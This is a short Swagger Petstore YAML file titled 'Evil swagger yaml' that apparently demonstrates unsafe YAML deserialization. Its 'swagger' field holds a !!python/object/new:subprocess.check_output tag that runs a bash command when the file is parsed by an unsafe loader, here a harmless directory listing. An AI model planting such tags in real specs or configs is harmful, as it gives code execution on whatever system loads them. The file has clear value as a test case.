Evil swagger yaml

evil_swagger.yaml

---
  swagger: !!python/object/new:subprocess.check_output [["bash", "-c", "ls -l>&2; echo -n 2.0"]]
  info: 
    version: "1.0.0"
    title: "Swagger Petstore"
  host: "evil.invalid"
  schemes: 
    - "http"
  consumes: 
    - "application/json"
  produces: 
    - "application/json"
  paths: {}
  definitions:
    Pet:
      required:
        - id
        - name
      properties:
        id:
          type: integer
          format: int64
        name:
          type: string
        tag:
          type: string